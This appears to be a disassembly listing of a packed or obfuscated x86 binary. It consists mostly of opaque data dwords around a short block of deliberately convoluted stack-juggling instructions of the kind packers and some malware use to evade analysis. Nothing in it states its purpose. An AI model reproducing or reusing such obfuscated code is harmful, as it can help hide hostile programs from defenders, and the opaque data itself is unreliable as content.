		dd 57470000h, 7DB03DC3h, 49C5BD02h, 890F6039h, 0Ch, 7E9h
		dd 0E6616100h, 2B12D040h, 0CE9h, 9007B000h, 82846DE8h
		dd 0F0735A8Ch, 0BD8D613Ah, 62598C2h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 9DC35646h, 0BC32E7C1h, 104C3994h
		dd 0BB6660F4h, 0C380BC10h, 516061B3h, 15A4BE66h, 9E95Eh
		dd 25F0000h, 0FEFC23D7h, 61D3D87Ch, 93E9h, 0B70F6000h
		dd 3CDDB9C1h, 836121A1h, 850F27FBh, 358h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 14C35242h, 4CDB0E16h
		dd 0C820F3Ah, 0F000000h, 68Ah, 850F00h,	8D000000h, 2598CABDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 4FB2CACEh, 376D6E6h, 850F8DC1h, 1Ch, 168F0Fh
		dd 11E90000h, 0A0000000h, 2B5C64ACh, 9FDFB996h,	3155BE4Ch
		dd 7FC03920h, 98DABD89h, 6A0625h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 606FE1C3h, 0E850Fh, 9E90000h
		dd 0C1000000h, 0C93FB78h, 0F56A74ABh, 0C88C66F8h, 7E9h
		dd 8FBABF00h, 0D5BAED77h, 6A0324h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 98090DC3h, 0E830Fh, 0F600000h
		dd 83h,	8D0F00h, 61000000h, 0FC00AF8h, 1BC85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 8F9992A9h, 18880Fh, 0E8600000h, 0Eh,	0DACB5E37h, 0AEDF0297h
		dd 2599E87Ch, 8A5A4F2Fh, 0B58D61CEh, 6259F44h, 20858BF9h
		dd 0F0625A0h, 18Ah, 0F92FC00h, 0D8Bh, 8E900h, 0C9A10000h
		dd 0B302634Eh, 60506111h, 0E8C68B66h, 9, 19E4DD47h, 837732Fh
		dd 5B616014h, 6A9261h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7D8DAFC3h, 19F0E81Dh, 0EE9h, 0B7A84200h
		dd 0E34551F4h, 6A1698F1h, 0F720E4Fh, 0FE244C01h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0F9C35040h, 5ABACE61h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D6C35343h
		dd 0E90AD733h, 7, 38562198h, 83BA04DFh,	8E0F24C2h, 8, 28D0Fh
		dd 61600000h, 0FC728966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0AFC35545h, 18C0Fh, 0C1F90000h, 6A10CEh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 830F65C3h, 1, 728966FCh, 51006A02h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 97A0CDE9h
		dd 76EA3EC8h, 8160962Fh, 785A2ADAh, 4CD615Dh, 6E9h, 0C6DE9A00h
		dd 0F8B248E4h, 8BE9h, 12860F00h, 0E9000000h, 0Dh, 0A939AB7Fh
		dd 3CF73102h, 0EF1687B8h, 20858B7Ch, 600625A0h,	8E9F8h
		dd 9AD70000h, 1913ECE4h, 8D61DD7Ch, 259F44B5h, 9E906h
		dd 0EA860000h, 0F9EC0A6Eh, 8D6157FEh, 25574585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 38751BA3h, 12E9F4h, 0FCDC0000h, 0D6047B61h, 0DEE026F4h
		dd 3E1EF9CCh, 0C6FE86E0h, 6660D0FFh, 5DBAD78Bh,	617DDBC3h
		dd 98D28589h, 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FC4FEAC3h, 0E870F61h, 60000000h
		dd 6E8h, 11598700h, 5B52E8AFh, 0D2858B61h, 0E9062598h
		dd 10h,	0EA44667Bh, 2C520B74h, 10ACEC2Fh, 155F2D94h, 19850FC3h
		dd 0F000000h, 1380h, 0EE900h, 0BDC60000h, 0B830B4E1h, 2739115Bh
		dd 684C1124h, 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 7CA6533h,	834C7EAAh, 25A020BDh, 850F0006h
		dd 70h,	2085C7FCh, 3F0625A0h, 6A000101h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 9AEBC356h
		dd 0C53CBE60h, 10E81F8Bh, 0D1000000h, 4C0E010Ch, 25392F7Fh
		dd 7F08288Fh, 0BE94CC8Bh, 5D8E32AFh, 0E860615Fh, 12h, 2CE1C5E5h
		dd 0FAF8EE4h, 8B2BDFE5h, 2244DEE8h, 5E97F71h, 0FB000000h
		dd 0DD61067Bh, 61D68B5Fh, 35E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F55748EFh
		dd 11E9h, 0AD0ED000h, 2132AAB3h, 780E3568h, 0A1759A3Eh
		dd 20CDE31Bh, 0
		dd 3774C00Bh, 8B0C708Dh, 2598DABDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 2598D69Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	2598D285h, 8B04EB06h, 61C5EB00h
		dd 98D2858Bh, 6ACF0625h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0B063C351h,	75FE2723h
		dd 10E92Dh, 0E1CB0000h,	8F94FA7Ah, 0A2E62321h, 0D5BD121Ah
		dd 6060434Fh, 5E9h, 19AC6300h, 800FF5A7h, 0
		dd 14E961h, 46BE0000h, 4C0FA015h, 9BE3278Eh, 742E94FBh
		dd 296855AFh, 8B6160D2h, 34E9C0h, 67900000h, 5F4Dh, 0Bh	dup(0)
		dd 7BE90000h, 7C000005h, 0D2DF3611h, 4E739AA9h,	0A6EB0241h
		dd 100168D3h, 0B0B6D16Eh, 281767B0h, 9DAAD0C1h,	3B4D72h
		dd 6BD4B8E9h, 0EC80D900h, 411F9ADCh, 77859D31h,	0C4E93A05h
		dd 4FFC83BAh, 0EA92DF1Eh, 0CAF71E51h, 75479C2h,	5499CA75h
		dd 943EA227h, 2FD485B6h, 20C9BFECh, 27206CC8h, 8AB5C3CCh
		dd 0E15E206Dh, 202371BCh, 0B3AEDAD7h, 3A66D1F9h, 36694447h
		dd 84C3C8E5h, 0A6D21F45h, 5723489Dh, 79AA99E6h,	62AAFB3Ah
		dd 869379FFh, 0EA174DF6h, 454AA59Eh, 0DDF0C37h,	473A66FAh
		dd 41484554h, 0FCB0D506h, 473A66ACh, 0F52B6A41h, 0A8A5EC0Ch
		dd 0D51F37Eh, 77h, 3A057715h, 3B0D5BE9h, 5EA3473Ah, 0DB7AF71Ah
		dd 869351F3h, 0FB184DF6h, 3A371921h, 7EB1FC47h,	0BE322h
		dd 0B1960000h, 3A37AFFBh, 356B4247h, 47047799h,	1B2FFD22h
		dd 0FE473A3Bh, 174461BFh, 5D82E764h, 0C81D2A50h, 3BAFFBADh
		dd 6B42473Ah, 3B4A9E0Eh, 0CAF473Ah, 1178B5D0h, 0E673E536h
		dd 6AD9A282h, 0D56E1E03h, 0A4785DBAh, 473A3B94h, 0F34C3C79h
		dd 5FD06CB0h, 0CE16CE6h, 529F7EA9h, 0AECD1E2Dh,	0F6473772h
		dd 0CBA1C685h, 473A33BFh, 0CB185B52h, 2576D5A6h, 0EB909D02h
		dd 0BF39005Ch, 0C32A1965h, 4095AEDEh, 82E7642Bh, 2E7808C1h
		dd 6DB37601h, 0EF09F058h, 0F35BB5D8h, 7A2051h, 5FEE0000h
		dd 0CC612CE6h, 0D633E8C5h, 3A4A3246h, 88D4E747h, 0FD2E1D61h
		dd 0D7ECFB0h, 0A3F04F30h, 0DD0E4180h, 8AAACE2Bh, 0F8434904h
		dd 3E4988ABh, 6DBE8DF1h, 0DD0E3940h, 5F72F673h,	51F36932h
		dd 53A7h, 7776F00h, 86084536h, 165586B9h, 4489B6D9h, 5C81E619h
		dd 3B95A577h, 3578473Ah, 3A3B5763h, 0ADF3BA47h,	0A0255398h
		dd 0EB40F834h, 0E1327548h, 181C5CD1h, 0E4BEC976h, 16470477h
		dd 6FD8A4F1h, 3B449731h, 3EE473Ah, 0DBAFA2E5h, 10A51F3h
		dd 10000000h, 0EA3B0877h, 0FD82B7C5h, 9FDE1D4Eh, 0E158214Eh
		dd 386DAC97h, 6EBF8CF3h, 84AACE4Bh, 34E8CDACh, 473A3BE4h
		dd 0C0E88409h, 35473A3Bh, 10194786h, 9D0F74D8h,	473A3B4Dh
		dd 0AAD70DA0h, 74ADDCE5h, 0FA25BC41h, 0CC4586DDh, 0D60948B5h
		dd 59A65DBFh, 81B6C00h,	0B9F44918h, 0A354794h, 75CEBEE3h
		dd 68469420h, 335B4118h, 911EC714h, 877FD929h, 51EC92DFh
		dd 0A1CC112Eh, 7DFA3D6Eh, 0AE737FBh, 474636EEh,	0B13C08FAh
		dd 7F8B61C6h, 9241186Ah, 4E99D81Bh, 0E7003B41h,	3566E5AAh
		dd 65B691F8h, 8CD90746h, 0F1221D6Fh, 0E53FB9B6h, 0C6128A97h
		dd 2B41186Ah, 6AA2F6A6h, 64574118h, 8885E225h, 7CD8FC01h
		dd 91873754h, 3DC1025Eh, 4BD1CD40h, 17895h, 525FBD00h
		dd 0E3601D26h, 0BCCA9729h, 73606AB6h, 0E251CB2Ch, 0B49186Fh
		dd 4C227626h, 0E4D74118h, 0F92A81B8h, 0ECC5C8B4h, 4B8FD213h
		dd 6E53BAFDh, 0BBF0251Eh, 22576D1h, 0D4E4B89Dh,	394118EDh
		dd 0A5C32E72h, 2B42FD8Fh, 0E884E9CEh, 4118EDC0h, 82D68635h
		dd 774118EDh, 413C1844h, 944BD106h, 4Ch, 61A85882h, 6CA49408h
		dd 22891173h, 85C2C8C5h, 0BECF1550h, 102F5C59h,	62E1AEC3h
		dd 6DB3F231h, 3A3B8FDBh, 3048B1C7h, 0B9DE25DBh,	736C37E3h
		dd 78931A91h, 56623A1Fh, 4B473A3Bh, 703D023Dh, 0CEED3E09h
		dd 0CAFA518Fh, 28000000h, 364AB58h, 3B3A4EDEh, 0DCDF473Ah
		dd 2F6C5180h, 0ECBEE25Dh, 49183D5Bh, 0AFD4F9B4h, 4EDE8ED6h
		dd 8517B1C3h, 41188775h, 8ED21598h, 0D4941963h,	9FC20853h
		dd 2F7CC7B2h, 638ACD0Ch, 94F54E3Eh, 0F6929C33h,	0E1AE7182h
		dd 0B3F23162h, 858C586Dh, 66411842h, 0B7E42912h, 0D4A23DC4h
		dd 466F4888h, 3722D607h, 2C297DB1h, 0C30555C7h,	60AC4118h
		dd 0F939ACB7h, 55B52EFh, 1478BC3Ch, 50CC5925h, 4118BA08h
		dd 4C8FCEEDh, 0D320D325h, 1A00E6B6h, 0A2094F3Fh, 0D1503C71h
		dd 72190F5Bh, 88CBE24Bh, 0E800F15Bh, 44997063h,	2144A222h
		dd 92D57218h, 0C4D13653h, 6D2A35B8h, 0DDEBB370h, 0F62A499Ah
		dd 55EDD654h, 99F0BB45h, 64AB583Dh, 9B936903h, 3786491Dh
		dd 5EC3C9E6h, 1F9ABACEh, 1D5C5F41h, 0E4A8E5F2h,	0B5EB0A5Bh
		dd 2247008Ch, 0E797A6D5h, 0A9E80B58h, 0C21B3964h, 39068885h
		dd 0F18BC914h, 0E9C7DBC4h, 3FF573FEh, 969BF24Dh, 0E3085DE6h
		dd 3378AD96h, 84A9FA45h, 691F4CFBh, 6AC26880h, 0D9A381E7h
		dd 0FE2F1860h, 4157CBFh, 7BC1E543h, 0C5E0350Eh,	0BE3F2038h
		dd 0B0354762h, 0E13828DCh, 4D327F8Eh, 4F8EADFEh, 3031Eh
		dd 0CBF30000h, 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh
		dd 7DCAB4F9h, 0CC7B0328h, 1C27529Fh, 6EDDA2CFh,	0BC8BF03Dh
		db 6Fh,	69h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	625A10Bh
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		push	edi
		pop	esi
		mov	[ecx+8], esi
		pop	esi
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		dw 0A163h
dword_534EC8	dd 12B82879h, 30625A6h,	23E0FFC5h, 0A57D9580h, 831BED67h
		dd 0EF31018Bh, 0C3166D0Dh, 565C4565h, 9A0BA9F4h, 9D1BAFE1h
		dd 0E062DD5Ah, 2F1FA410h, 0D026D6F6h, 0EB5B7DB6h, 0B1643142h
		dd 2F2E32ABh, 5B09CE83h, 0CE1C2F3Dh, 4C5A58A4h,	0BF37D2AFh
		dd 0C428AB22h, 6F3D7ED2h, 0D33DB6Ah, 8C69222Bh,	0AF2A62CCh
		dd 0BD3ECFF2h, 1048B65Bh, 0BF1FA740h, 784F92D6h, 0E919F16Eh
		dd 148h, 50h, 54h, 58h,	5Ch, 60h, 64h, 68h, 6Ch, 0B0h
		dd 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h, 0D4h
		dd 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
		dd offset dword_534EC8+0DCh
		dd 9C50EBh, 0A700858Dh,	10E90625h, 0E1000000h, 415BC8AAh
		dd 0AE3C4DE4h, 8AF5A263h, 89C52210h, 25A84085h,	0C6CA8B06h
		dd 22330985h, 0D5B75406h, 4E8h,	62682900h, 0D2BB66EEh
		dd 870F5054h, 18h, 11E957h, 59AD0000h, 349D069Fh, 11FF97BDh
		dd 864EE295h, 5E1881CCh, 424448Bh, 0BA66008Bh, 4489FA7Eh
		dd 81580424h, 7D78DCCBh, 49B5FF5Eh, 80062226h, 858D42CBh
		dd 6257DBEh, 28B18509h,	10E90622h, 3F000000h, 0A93E792Fh
		dd 0F1068BE9h, 2D24C345h, 0FF3E74AFh, 659D09D0h, 89062200h
		dd 25A84485h, 9E906h, 8AC0000h,	2A0B0CF3h, 8980C98Bh, 22040DB5h
		dd 54E906h, 860F0000h, 3, 56CF8B66h, 0A840B58Bh, 6890625h
		dd 0A8408583h, 5E040625h, 0B58D60C3h, 625A700h,	6A560FEBh
		dd 0FF36FF00h, 25A84495h, 0C6835E06h, 3E8304h, 0C361EC75h
		dd 5800Fh, 81660000h, 5720C0EEh, 68C18166h, 0BE665976h
		dd 0B96677CEh, 858D217Eh, 625A921h, 0B1F191BFh,	0B5858942h
		dd 0E8062207h, 5, 0D3D39824h, 0C8C0FFCh, 0F000000h, 689h
		dd 880F00h, 5F000000h, 81F08B66h, 69C8C7h, 0D1B58B00h
		dd 68062225h, 1A38h, 59D18B66h,	10E9h, 2A894D00h, 0D736DD1h
		dd 3F244548h, 0B19E241Eh, 0E937FF64h, 0Fh, 0F966C6C0h
		dd 384B03A0h, 6E26CAFAh, 589F518Eh, 5B529h, 0C0810622h
		dd 9D727FCh, 178C0Fh, 0BE80000h, 0D8000000h, 0B39153BDh
		dd 718327EEh, 958BDB4Eh, 6220059h, 0C3E8815Ah, 0E8454B6Eh
		dd 11h,	0D57EE54Ch, 4B87382h, 0CB6827BDh, 48FAC6FCh, 0EDB58BF8h
		dd 5A06222Fh, 6FCDF081h, 958B75BDh, 62214E5h, 0F9B58B50h
		dd 8F062214h, 0D1B58907h, 83062228h, 666004EFh,	8B8FE8Bh
		dd 6166F5B1h, 1E981h, 850F0000h, 0FFFFFF69h, 0BE9h, 12BA5800h
		dd 0A0E171Dh, 3DB8A28Ch, 102E9h, 23C64A00h, 55C9754h, 0A188838Ah
		dd 0E0A1D76h, 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h
		dd 60206020h, 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h
		dd 0B7EDA693h, 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h
		dd 53752060h, 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h
		dd 60C950F0h, 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h
		dd 60F76DB9h, 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 3D577DD7h, 75DF6DF7h, 7DD773D5h, 0EDF73D57h,	5375D55Fh
		dd 2F6D3733h, 0A1E357Dh, 3407000Eh, 0A0A3D25Dh,	1E59h
		dd 6 dup(0)
		dd 0E9000000h, 0C1Ah, 25AD8C68h, 0D771E906h, 6F68FFFCh
		dd 0E90625AEh, 0FFFCD767h, 25AF5F68h, 0D75DE906h, 2D68FFFCh
		dd 0E90625B0h, 0FFFCD753h, 25B0A568h, 0D749E906h, 4468FFFCh
		dd 0E90625B1h, 0FFFCD73Fh, 25B28968h, 0D735E906h, 6F68FFFCh
		dd 0E90625B3h, 0FFFCD72Bh, 25B42F68h, 0D721E906h, 0F368FFFCh
		dd 0E90625B4h, 0FFFCD717h, 25B5F868h, 0D70DE906h, 0DCA1FFFCh
		dd 74070863h, 0C73BCD7h, 9EEBD43Fh, 39454AA5h, 0E587E30Ah
		dd 0A65E2ACh, 0BFD67505h, 0D23D0672h, 4DA49FEDh, 1327F582h
		dd 6411F90h, 577D050h, 0AED0DD3Ah, 0E5FEC9Fh, 1663ACEFh
		dd 99D6F72Dh, 570152F1h, 0B6C65E9Ah, 6112628Dh,	1C27F512h
		dd 149183Bh, 483479AAh,	0E1AB94FFh, 0EBD03566h,	183BE931h
		dd 60A10C41h, 29F3211Eh, 41183B06h, 68E4040Dh, 0F1B5779Fh
		dd 0D5BC2AD6h, 0A688D92Ah, 48D8A5E4h, 1AE31C94h, 3A426FB5h
		dd 0D3B9E601h, 86F63B68h, 0C04968BDh, 61008CA8h, 189E7F8Bh
		dd 0D81B9241h, 36F06DB1h, 0EDC54BD1h, 4D000004h, 0E93A0577h
		dd 648FB8C4h, 0D7740613h, 6B9E6786h, 2EE18358h,	0B2A1ABE9h
		dd 289D14Bh, 416C473Ah,	3C33E90Eh, 0E149187Ah, 0BBCB99CAh
		dd 45411879h, 38355C9Ch, 9D4BD196h, 2Ch, 0DEAB5885h, 0C61ACB52h
		dd 465A487h, 9BA8D2DFh,	53B0A345h, 1E9D4918h, 26EF3FCDh
		dd 68114118h, 0BE84F910h, 0D6514BD1h, 0F9000000h, 1A29525Fh
		dd 76D1BBC6h, 0CF780411h, 0E4015F9Eh, 2B78C7B7h, 0ACCD7606h
		dd 0A4C826DBh, 3AEBA0C8h, 9D665547h, 2A76C09Eh,	95AEDE13h
		dd 0EB582774h, 684DAAB5h, 3AF264B4h, 68048947h,	473AF240h
		dd 99C706B5h, 3AF14CCFh, 0EE9C9947h, 0DC6B1051h, 9306C8Fh
		dd 6051B883h, 95F2231Ch, 754F398h, 0A55EB8E4h, 6863395Eh
		dd 0F549189Dh, 964DAFC6h, 0E37C3049h, 8C4F3C44h, 0C3CBC821h
		dd 20DD083Eh, 9ED1790Fh, 9444A77h, 38BC47Fh, 95D41744h
		dd 98F0FFE5h, 3C031CEFh, 93Fh, 5EA992FBh, 0F21D2A51h, 6A85C2CDh
		dd 80EB5425h, 3950EF9Fh, 98E62F31h, 2B5F40ABh, 0BCCCF51Ch
		dd 55276883h, 3F5883EAh, 1F965D6Dh, 0A1AB041h, 0D1380777h
		dd 48A39CE0h, 64AB58D2h, 0BD86F603h, 77044D68h,	4589BC8h
		dd 0DBA3F0D5h, 0A0FC3F6Ch, 1841D506h, 0EFBDE249h, 411831DBh
		dd 0E8217F3Eh, 0B0C490C5h, 4E411831h, 2F226583h, 8A4BD1D2h
		dd 0C5h, 3A057790h, 0ABBAC4E9h,	3A3BA9F1h, 2E614C47h, 38EC2FFDh
		dd 4839473Ah, 0F2EEB8DAh, 0B5FC20BCh, 2C157CC7h, 56B6E760h
		dd 0E431569Dh, 3B7AAB94h, 2F38F4E5h, 30491817h,	5102127Dh
		dd 5F37E502h, 0C24F3CCDh, 6CA98EEBh, 56C6231Ch,	4B7D2402h
		dd 5198C4F7h, 0E2F71E2Dh, 6A3F0C21h, 3468ED32h,	34C2810Dh
		dd 0EF987C26h, 5C1BE637h, 18000008h, 7EA3CA75h,	0EAD73E0Dh
		dd 424FA6A5h, 0BCE50C37h, 2C1A75D2h, 0CC7B034Ch, 310E7CA5h
		dd 0A49FE9D6h, 0F38444Dh, 801C7DE4h, 411F9578h,	5F29F99Dh
		dd 303D48E6h, 1844E39Ah, 799EADD1h, 0B0F14E3Ch,	0F2E7FC8h
		dd 0FB818ED1h, 0C3D02940h, 4CFB83B6h, 479DDC1Fh, 1C0577AFh
		dd 3A3B7880h, 0DF1E9D47h, 201B618Eh, 58AD7CC9h,	0C917345Bh
		dd 6A8FD48Fh, 182869B2h, 6B019649h, 4118085Fh, 0BD8AF5B2h
		dd 0CB0A4D68h, 941D61AEh, 0D47561Bh, 15295E1h, 4CDEBEE2h
		dd 96A38C16h, 87E02F24h, 0F2CA8A15h, 4946AB4Dh,	28F843h
		dd 0F54C373Eh, 2AF9AC6h, 598ACD76h, 9889FF3Ch, 373EF404h
		dd 5392194Ch, 5BBDE302h, 6E3E5BA8h, 4211EBECh, 2F1860ADh
		dd 147538F1h, 0A3CA7507h, 513B0E7Eh, 788A5F6h, 30C6F938h
		dd 0EAAD7018h, 6C151425h, 28000007h, 8EB3DA65h,	0FA274EFDh
		dd 525FB695h, 0CCF51C27h, 1C6A85C2h, 0DC6B135Ch, 41FE8CB5h
		dd 0B48FF926h, 1F28545Dh, 0B06C0DF4h, 411F9468h, 7759C98Dh
		dd 0EBE93A05h, 0DE4EABF8h, 491821B1h, 0F04B317Eh, 0E55C80A3h
		dd 0D04CB1D6h, 41181088h, 0F1124E6Dh, 4AAFF4EFh, 0A2279C65h
		dd 8E190A4Bh, 83568852h, 0E0CB4F3Fh, 39028A87h,	8E4C92Eh
		dd 4B7DF5E0h, 3F7AA615h, 0A3A1F24Dh, 83D745B0h,	764B7DF5h
		dd 0BEE30447h, 0D7300B71h, 7DF53545h, 8FD5D84Bh, 5A6FCEFDh
		dd 7C02AF45h, 1C5F9ECFh, 0D72D96FBh, 522135DFh,	61C713C5h
		dd 832A5557h, 8DFF3C5Dh, 26565BB2h, 0D78CC81Dh,	5EBD6F88h
		dd 0BF5B751Fh, 82C80AFCh, 415E350h, 69E05h, 8335A00h, 7CCBB0E1h
		dd 0E4632C15h, 4AF5848Dh, 0B390FE23h, 458E6E58h, 0BEE30A39h
		dd 2B147FCCh, 868BE25Dh, 3B224DF6h, 8BBACE5Eh, 0BB5F411Fh
		dd 64AB586Bh, 0A9D1DE03h, 1B24559Ah, 0D375ABCAh, 491DA1ECh
		dd 70BDDAD1h, 0D9D6330Ch, 254095B2h, 0E1AB94FFh, 0C3D03566h
		dd 1E5D8EB9h, 94DB88C2h, 8AAAB973h, 0FEBB4F3Dh,	4F6EBF8Ch
		dd 1CCE7A0Ch, 213EF98h,	6263Fh,	90ABD200h, 4434879h, 6CDBA4EDh
		dd 0D26D1C05h, 3B0876BBh, 0DD16D6D0h, 367B92B1h, 0A3EC0744h
		dd 1E036AD5h, 0B3BAD56Eh, 8B227626h, 3D7411Fh, 0DEAB58E3h
		dd 0F276DF76h, 0B8D110C8h, 1D71E2E4h, 0AA867F49h, 391012E7h
		dd 515EBBFAh, 0BAF7102Bh, 52075CEh, 18BB4DFh, 0FCF71546h
		dd 0BBBA150Dh, 65A40704h, 0B0236804h, 99144F3Bh, 79811B40h
		dd 9C4B7180h, 93ACD011h, 7D0F0C4Dh, 1666ABC2h, 0BDCFCC2Dh
		dd 0CE125182h, 59A65DBFh, 0FE6F6C00h, 0CDE04553h, 7221853Dh
		dd 7AC5D6E9h, 587h, 96F14A33h, 0A65E2A9h, 0A2CD7A05h, 0D8330C7Dh
		dd 7198A7D7h, 503E7779h, 0E39798F3h, 74040D64h,	0D7FA0CBh
		dd 4710DB32h, 1F8A85D5h, 42A26841h, 45340577h, 0F0ACA9FAh
		dd 473A3BA8h, 0EC2F6E4Dh, 310A72BFh, 0E00DC6D6h, 3A3BFC0Ch
		dd 5B9A1147h, 43816E3Eh, 414E4918h, 65DC003Bh, 27770556h
		dd 0D9411832h, 0BCB1D810h, 194BD1CEh, 32h, 64AB5801h, 41666903h
		dd 0E4D74918h, 31D1E5B7h, 0A22F4118h, 0D14E0346h, 0F46B4BD1h
		dd 0E000000h, 0A09FEC29h, 183DA8F0h, 1C604D41h,	70B3F223h
		dd 577902Ch, 24F8DD3Ah,	473A3B14h, 5F6EB2F9h, 23F96C12h
		dd 473A3B17h, 2370B3FAh, 0BDCB7E0Eh, 3BA0C8A4h,	6655473Ah
		dd 7AB7F627h, 0A0F5340Fh, 2146018Bh, 0F4EEB460h, 4F6EBF88h
		dd 1D2677B6h, 0B0C9CC7h, 0F4473A89h, 6B54BF88h,	0C12621h
		dd 24218D95h, 91B4E89Ch, 0A7739374h, 6B8D1BDDh,	0E3302335h
		dd 0A59D1686h, 755A4918h, 189C93A7h, 0FA378641h, 4362B390h
		dd 7E89241Dh, 0F91E651Eh, 2677D0BCh, 87C4CA07h,	60643859h
		dd 0ED4F3CD3h, 226CA9CEh, 0B9C5CA25h, 8A3CFC8Ah, 98A9EF98h
		dd 44281h, 0B48FFE00h, 1827545Dh, 80BFC0F1h, 0F6513869h
		dd 5FEC929Fh, 0F9323234h, 525FB695h, 0CFF01B28h, 3A678EB9h
		dd 579EE952h, 895E6A02h, 1FB3411Fh, 2A525F07h, 0D8A6C311h
		dd 6D1F006Bh, 58E3BBD2h, 690364ABh, 49184166h, 0E5B7E4D7h
		dd 411831D1h, 346A22Fh,	4BD1D14Eh, 0DE6Bh, 577B300h, 0AEFF4834h
		dd 1340FB81h, 395E91D0h, 1A449A48h, 642CC972h, 0B569120Ah
		dd 0E1445379h, 105D68B4h, 0F08CD16Eh, 473AD35Fh, 6683BCC0h
		dd 0BEE26129h, 45374455h, 568AA9FAh, 2CC0612Bh,	473AD41Ch
		dd 2A7BBAF1h, 8DEA392Ah, 18D2941Fh, 0D5327949h,	4794B3D8h
		dd 0BAD85F24h, 792D9392h, 2BD8385Bh, 16E983E4h,	74F3C99h
		dd 344653B4h, 8B88C917h, 0CC2D4403h, 508CBBCFh
		dd 10E66529h, 0EF98FF86h, 5C3B0617h, 18000003h,	7EA3CA75h
		dd 0EAD73E0Dh, 424FA6A5h, 0BCE50C37h, 2C1A75D2h, 0CC7B034Ch
		dd 310E7CA5h, 0A49FE9D6h, 0F38444Dh, 801C7DE4h,	411F8878h
		dd 5F29F99Dh, 3B96A27Ah, 8A7B473Ah, 7474A9CCh, 0D539273h
		dd 42AD9AE4h, 0FD142F5Dh, 0D5E5B79Ch, 38473A46h, 5F972F75h
		dd 0C01C2752h, 3B68D3B9h, 0C6B386F6h, 4AD33A7Dh, 0E72C2799h
		dd 28D1EA82h, 7F3E4918h, 0D6510D9Fh, 7063ED0Eh,	156C623h
		dd 0F6E34FE4h, 5586C5C9h, 4686D716h, 0FC21468Dh, 337CCBBFh
		dd 18A2FE49h, 0F9652946h, 52B7D0DBh, 0A57E8EDAh, 0FBF263F1h
		dd 0EEE59B7Dh, 3B5E82C5h, 5AB58EFEh, 6A1C2755h,	453FFBB6h
		dd 9CE77A4Bh, 58000002h, 0BEE30A35h, 2A177ECDh,	828FE665h
		dd 0FC254CF7h, 6C5AB592h, 0C3B438Ch, 71CEBCE5h,	0E45F2916h
		dd 4FF8848Dh, 0C05C3D24h, 411F8FB8h, 5F69B95Dh,	3B96A27Ah
		dd 307B473Ah, 8CB7C5ECh, 0E3602E6Bh, 182D73B2h,	5FB807FCh
		dd 183502CDh, 49A00B49h, 0EE592370h, 8202D3B2h,	6582D1h
		dd 0FC26BA47h, 0DEA1FA99h, 0BEF13C61h, 2CBFD862h, 4D604F3Ah
		dd 0EA57FBA9h, 0EEE5DE87h, 0CBD448A1h, 0B481CAB3h, 78BB88F7h
		dd 0F53A292Bh, 23461894h, 0D0DB87E8h, 86D52B7h,	20704494h
		dd 5202A992h, 92207006h, 86D7741Bh, 8DD3DA67h, 0C42F1864h
		dd 0FCB0B1DBh, 922070ACh, 5F2B6A41h, 26C5A83Fh,	0D80C132Ch
		dd 84000001h, 0FA274EF9h, 565BB291h, 0CEF31A29h, 386980BBh
		dd 0A89EE956h, 40FF8FC8h, 0B592F829h, 1823555Ah, 83BCC0F1h
		dd 498E168h, 411F8FF4h,	77AD7519h, 0DB4A3405h, 3A3B3941h
